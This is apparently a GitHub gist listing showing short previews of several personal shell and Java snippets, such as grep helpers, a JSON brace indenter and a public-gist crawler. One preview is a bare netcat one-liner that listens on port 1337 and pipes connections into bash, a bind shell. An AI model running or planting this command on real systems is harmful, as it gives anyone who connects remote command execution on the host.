This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#/bin/bash | |
# avoid adding pcregrep as dependency for simple matching across | |
# not too many lines (I'd guess performance is going to start degrading | |
# at around 100??) | |
# returns number of lines of input for which we didn't find a contiguous | |
# match in the file provided | |
# emits the lines in the file that were matched by the multi line pattern | |
# provided | |
multiLineMatch() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class AtomicResizingLongArray | |
{ | |
private volatile long[][] masterList; | |
// atomic updater for the master list, we use this instead of an | |
// AtomicReference because we don't always need to access the masterList | |
// atomically | |
private static final AtomicReferenceFieldUpdater | |
< | |
AtomicResizingLongArray, | |
long[][] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# sample usage: vimFind.sh unambiguousFileName.c | |
# will run vim ./some/obscure/directory/unambiguousFileName.c | |
vim `find . -name "$@"` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkfifo .nc_pipe; nc -l 1337 < .nc_pipe | bash > .nc_pipe & |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
sed -e 's/\([{},]\)/\n\1\n/g' | awk '/\{/ {s += 1} /\}/ {s -= 1} {printf "%*s %s\n", s*2, "", $0}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Takes three arguments, the file to turn into a grep command, a filename to create | |
# the grep command in, and a file to grep | |
cat $1 | awk 'NR == 1 {printf "egrep \"("; str=$0} NR>1 {printf str"|"; str=$0} END {printf str")\" $3 \n"}' > $2 | |
chmod +x $2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
acc=0 | |
printf "First int to be or'd[1, 0x1]:" | |
while read input | |
do | |
acc=$[$acc | $input] | |
printf "%0x\n" $acc | |
printf "Next int to be or'd[1, 0x1, b1]:" | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
pageNumber=1 | |
while [[ 1 ]] | |
do | |
read -ra jsGistUrls <<< `curl "https://api.github.com/gists/public?page=$pageNumber&per_page=100" | jq -c ".[].files" | sed 's/.*raw_url":"\([^"]*\).*/\1/' | grep ".js$"` | |
echo "Length of array is ${#jsGistUrls[@]}" | |
if [[ ${#jsGistUrls[@]} == 0 ]] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#find all occurences of windows code including cpp code | |
# cpp/code has some cpp code, src/msvs has windows code | |
find src/cpp/code/ -name "*.h" | sed 's|.*/\([^/]*\)/\([^/]*\)$|\1/\2|' | xargs -I arg grep -r arg src/msvs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//I did a thing, I'm not sure why but the thing is done now | |
// https://xkcd.com/287/ | |
import java.security.NoSuchAlgorithmException; | |
import java.security.SecureRandom; | |
import java.util.ArrayList; | |
import java.util.HashSet; | |
import java.util.concurrent.atomic.AtomicInteger; | |